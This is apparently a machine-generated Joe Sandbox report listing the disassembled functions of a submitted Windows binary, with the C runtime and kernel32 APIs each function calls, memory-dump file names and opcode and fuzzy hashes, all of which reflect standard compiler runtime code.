Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e495469f45ed96cce23e771b6e46bb6dd564c52813996d4319166329af59f4cf
Instruction ID: b43ea5b96791896f4129a0874fcffdca3dbfe12b434d4f5946c5eddbccb70c73
Opcode Fuzzy Hash: e495469f45ed96cce23e771b6e46bb6dd564c52813996d4319166329af59f4cf
Instruction Fuzzy Hash: 93116D32D08B4382F214AB14A44476AE7A4EB80744F9501B7E65D87A97EE3CE8149772

Function 00007FF7EA02245C Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7EA022470

Part of subcall function 00007FF7EA0236D4: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF7EA0236DC
Part of subcall function 00007FF7EA0236D4: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF7EA0236E1

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 8c319402ea9a0b8132f41284b8ac78946d4f2898a35466c4132d851a6f19d243
Instruction ID: bf73caaf4a16095a1627f5f2d0315fbb7110c94ed77b097d4d5a3994a66555a3
Opcode Fuzzy Hash: 8c319402ea9a0b8132f41284b8ac78946d4f2898a35466c4132d851a6f19d243
Instruction Fuzzy Hash: ACE0B650E0D34385FD6936A125423B9C3441F29344FC050FBD85E521D3BE3E654A1233

Function 00007FF7EA028640 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7EA0282AE,?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA028695

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 8f14566fc9b4ea454ea4b72f674db0a44ad523e3ab09d3503c3e03184f00f539
Instruction ID: 9c389177e8658263cf7f0c6000e50dc70d7bdfbf20241b6d6cfb1de17d582f92
Opcode Fuzzy Hash: 8f14566fc9b4ea454ea4b72f674db0a44ad523e3ab09d3503c3e03184f00f539
Instruction Fuzzy Hash: 6FF03718B0930784FE58B6A299583B593805F88B80FDC04B2C90E96383FE7CE4888232

Non-executed Functions

Function 00007FF7EA022788 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7EA0227A4
RtlCaptureContext.KERNEL32 ref: 00007FF7EA0227D1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EA0227EB
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EA02282C
IsDebuggerPresent.KERNEL32 ref: 00007FF7EA022880
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EA02289D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EA0228A8

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: adb691d6ef64bec275dc11d89879b32cf7de62b67ca29f6eab69e9d4913c8c87
Instruction ID: 06aa1355e94a718b2504f4c59739c12c4a0f8230e1a39968f23ab9b1c5cf3983
Opcode Fuzzy Hash: adb691d6ef64bec275dc11d89879b32cf7de62b67ca29f6eab69e9d4913c8c87
Instruction Fuzzy Hash: FB313372609B8285FB609F60E8807EDB364F748744F44407BDA4D47B99EF78D548C721

Function 00007FF7EA0263F0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7EA026469
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EA026481
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EA0264BC
IsDebuggerPresent.KERNEL32 ref: 00007FF7EA0264F5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EA0264FF
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EA02650A

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 032cf48311e37a1ed79d3eb5693dd78ac14fc4b8a2c7b28f5f10b4e86fe54901
Instruction ID: c37eec96f52abdf3d121b2b77c688e389c5886995ad7320d26417492f998800a
Opcode Fuzzy Hash: 032cf48311e37a1ed79d3eb5693dd78ac14fc4b8a2c7b28f5f10b4e86fe54901
Instruction Fuzzy Hash: 46317832A08B8285EB60DF25E8403ADB3A4FB89754F900177EA9D43755EF3CD159C711

Function 00007FF7EA022660 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7EA02268C
GetCurrentThreadId.KERNEL32 ref: 00007FF7EA02269A
GetCurrentProcessId.KERNEL32 ref: 00007FF7EA0226A6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7EA0226B6

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 5b2659f078486328cf6791bc43bc743369c1ecc96c6d9021afdf357ff2fb77f5
Instruction ID: 04112806047d4b0cb2e10a4f89788b5996dac1ec84c61e683bdf6a59cb11bb0d
Opcode Fuzzy Hash: 5b2659f078486328cf6791bc43bc743369c1ecc96c6d9021afdf357ff2fb77f5
Instruction Fuzzy Hash: DE111822F54B068AFB00AB60E9543B873A4FB19758F840A32DA6D867A4EF78D1588351

Function 00007FF7EA02F378 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7EA02F5C7
RaiseException.KERNEL32 ref: 00007FF7EA02F5D8

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2045596ada029767b90017b957664b0b71c7a256b325aa916a96e60a40104743
Instruction ID: 1c562d9005acc667ad911c58f1868941f8f9a8c4a5144bba9db9c16c4f645b53
Opcode Fuzzy Hash: 2045596ada029767b90017b957664b0b71c7a256b325aa916a96e60a40104743
Instruction Fuzzy Hash: 66B1BD73A00B8A8BEB15CF29C48636C7BE0F741B88F148966DB5D837A5CB39D461C721

Function 00007FF7EA028C54 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11455f847af0625b085217f30496c1a7630994312d3501f62ade35e37805c853
Instruction ID: 3ba38fb9d64641b5adea3b57b886b4d2855cb90ada2d68db1854d3d147424937
Opcode Fuzzy Hash: 11455f847af0625b085217f30496c1a7630994312d3501f62ade35e37805c853
Instruction Fuzzy Hash: 18510B26B0479284FB10EBB2A8403AEBBA5FB447D4F944176EE5C27A96EF3CD005C311

Function 00007FF7EA02B60C Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7EA02B610

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 181ca50088a22b940bfcf21f43d0ad86da502b3a7c54341bba47fe5b1dffb0e5
Instruction ID: e4dc9c0f4a00fd46bdc463aa90be590175a10cf224feb85d8e9f713e14fc8c88
Opcode Fuzzy Hash: 181ca50088a22b940bfcf21f43d0ad86da502b3a7c54341bba47fe5b1dffb0e5
Instruction Fuzzy Hash: 37B09224E17A07C6FA883B116D8671863A47F4C710FC841BAC40D80320EF3C20BE9722

Function 00007FF7EA027628 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: a2897b7abe81771b5069735a26e76c0be77e1c0b255e4eacc3f36685ca15dad1
Instruction ID: 071921d8e28dc80e771eb5ac7f1cf7cae7e8412c77aa10085b4fdbc8edfcf8ce
Opcode Fuzzy Hash: a2897b7abe81771b5069735a26e76c0be77e1c0b255e4eacc3f36685ca15dad1
Instruction Fuzzy Hash: 1C41E632B14A5A82FF04DF2ADA54369B391BB48FC4B899037DE1D87B55EE3CD0468310

Function 00007FF7EA02F1C0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17929bfd204d8727f250f2c8a46c428b35dfb302384a2c4c12b77aac50e3775b
Instruction ID: 1eff3c2af03a34af39873c2597b5b90b07de7f02bfe0646f0cbf9ed7551836ca
Opcode Fuzzy Hash: 17929bfd204d8727f250f2c8a46c428b35dfb302384a2c4c12b77aac50e3775b
Instruction Fuzzy Hash: 2BF06D72B242574AE7D49F1CA442B257BD1F7043C0F90807ED59DC3B08D93C94648F15

Function 00007FF7EA022968 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f007ad9aee672bf196016f1f46fca3ae989ecfd9538dc4e7d3b8125eb7273b
Instruction ID: 23317b8601ae9e3fb173b12dca8384eca3b87120a2532985f948f8e6ac215483
Opcode Fuzzy Hash: 60f007ad9aee672bf196016f1f46fca3ae989ecfd9538dc4e7d3b8125eb7273b
Instruction Fuzzy Hash: 8AA00161999943D1FA04AB60B990270A320AB58300BC000B3C00D414A1AE7CA4889222

Function 00007FF7EA023D28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7EA023D84

Part of subcall function 00007FF7EA024C40: __GetUnwindTryBlock.LIBCMT ref: 00007FF7EA024C83
Part of subcall function 00007FF7EA024C40: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7EA024CA8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7EA023E5C
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7EA0240AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7EA0241B7

Strings

csm, xrefs: 00007FF7EA023D9E
csm, xrefs: 00007FF7EA023E05
csm, xrefs: 00007FF7EA023E7F

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 6a15194f8449d4c81a6fbdfc426842c04311243a5f0bdc02369175829e7694fc
Instruction ID: c77dbb3492e95c7ad7867bca7d9433e712d2fcf8187a2e37659e97d6e4361202
Opcode Fuzzy Hash: 6a15194f8449d4c81a6fbdfc426842c04311243a5f0bdc02369175829e7694fc
Instruction Fuzzy Hash: C6D1A672A087438AFB60AB25D4803ADB7A0FB55798F400176DE4D57B97EF39E091C722

Function 00007FF7EA024F8C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7EA02523E,?,?,?,00007FF7EA024F30,?,?,?,00007FF7EA0236B5), ref: 00007FF7EA025011
GetLastError.KERNEL32(?,?,?,00007FF7EA02523E,?,?,?,00007FF7EA024F30,?,?,?,00007FF7EA0236B5), ref: 00007FF7EA02501F
LoadLibraryExW.KERNEL32(?,?,?,00007FF7EA02523E,?,?,?,00007FF7EA024F30,?,?,?,00007FF7EA0236B5), ref: 00007FF7EA025049
FreeLibrary.KERNEL32(?,?,?,00007FF7EA02523E,?,?,?,00007FF7EA024F30,?,?,?,00007FF7EA0236B5), ref: 00007FF7EA0250B7
GetProcAddress.KERNEL32(?,?,?,00007FF7EA02523E,?,?,?,00007FF7EA024F30,?,?,?,00007FF7EA0236B5), ref: 00007FF7EA0250C3

Strings

api-ms-, xrefs: 00007FF7EA025031

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 355a7632359eb163f55104a1b7a3e990957cdca5e3f3cacfc805ca423a9a2768
Instruction ID: 83afd94d6e9aa650c6cef63006e79d63f1a33696c15e9a02645e5677309e3e86
Opcode Fuzzy Hash: 355a7632359eb163f55104a1b7a3e990957cdca5e3f3cacfc805ca423a9a2768
Instruction Fuzzy Hash: 8D31E421B0A74381FE11AB529880BF4A394BF48BA0F990676DD1D06792FF3CF4448372

Function 00007FF7EA0280D4 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7EA0280E3
FlsGetValue.KERNEL32 ref: 00007FF7EA0280F8
FlsSetValue.KERNEL32 ref: 00007FF7EA028119
FlsSetValue.KERNEL32 ref: 00007FF7EA028146
FlsSetValue.KERNEL32 ref: 00007FF7EA028157
FlsSetValue.KERNEL32 ref: 00007FF7EA028168
SetLastError.KERNEL32 ref: 00007FF7EA028183

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 981e065be60bd824e64a3e66d764953613c8448121f634bb6233c3e66bf49b4b
Instruction ID: 3f5ed43d010d307637262e390de7e9709ae5dc34a46047aacb72dca75f642cd1
Opcode Fuzzy Hash: 981e065be60bd824e64a3e66d764953613c8448121f634bb6233c3e66bf49b4b
Instruction Fuzzy Hash: 9A21AC24F0834341FA69B3615A46339E35A9F457A4F8446B6D83E466D7FE3CB4084272

Function 00007FF7EA02EC84 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7EA02ECB5
GetLastError.KERNEL32 ref: 00007FF7EA02ECC1
CloseHandle.KERNEL32 ref: 00007FF7EA02ECD9
CreateFileW.KERNEL32 ref: 00007FF7EA02ED04
WriteConsoleW.KERNEL32 ref: 00007FF7EA02ED23

Strings

CONOUT$, xrefs: 00007FF7EA02ECE5

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: cf935f717f77a2ed4f5315da510ef180c3cd57640c48bbb7dc0752fedfb25d3f
Instruction ID: 4c315ef16169267cca638df63c720fc280fbfd34282beb795fef0337101cc2e4
Opcode Fuzzy Hash: cf935f717f77a2ed4f5315da510ef180c3cd57640c48bbb7dc0752fedfb25d3f
Instruction Fuzzy Hash: 46118431A18F8282F750AB52E994329A7A0FB8CFE4F404276DA1D47794EF7CD4488751

Function 00007FF7EA02824C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA02825B
FlsSetValue.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA028291
FlsSetValue.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA0282BE
FlsSetValue.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA0282CF
FlsSetValue.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA0282E0
SetLastError.KERNEL32(?,?,?,00007FF7EA028629,?,?,?,?,00007FF7EA0286EC), ref: 00007FF7EA0282FB

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4df0ceb347f0534e1eacd45fb16a4e0394b627f6c1fe957197f1be5cfd6870b3
Instruction ID: 3392f418180db33c0121a9177fd4a0db9befc64ee200ef3b9e09c4b3c0d447b5
Opcode Fuzzy Hash: 4df0ceb347f0534e1eacd45fb16a4e0394b627f6c1fe957197f1be5cfd6870b3
Instruction Fuzzy Hash: 0711B824E08B8382FA64B3A15655339A3529F593A4F8446B7D93E426D3FE3CB4084232

Function 00007FF7EA027318 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7EA02733D
GetProcAddress.KERNEL32 ref: 00007FF7EA027353
FreeLibrary.KERNEL32 ref: 00007FF7EA02737A

Strings

mscoree.dll, xrefs: 00007FF7EA027334
CorExitProcess, xrefs: 00007FF7EA02734C

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: aa9257a99cc5efed4932380e29d31c577d9ff1d1924428f4dfe92cdc04ce7e16
Instruction ID: 40b4ee6a1e58f44cf4a0c2b7efc45810977222e450aaa95c40e0896183856134
Opcode Fuzzy Hash: aa9257a99cc5efed4932380e29d31c577d9ff1d1924428f4dfe92cdc04ce7e16
Instruction Fuzzy Hash: C0F04F61E1970781FF24AB25A454379D320AF497A1F940276DA6E852E4EF3CD549C321

Function 00007FF7EA02EFD4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7EA02EFFC
_set_statfp.LIBCMT ref: 00007FF7EA02F017
_set_statfp.LIBCMT ref: 00007FF7EA02F033
_set_statfp.LIBCMT ref: 00007FF7EA02F06F

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

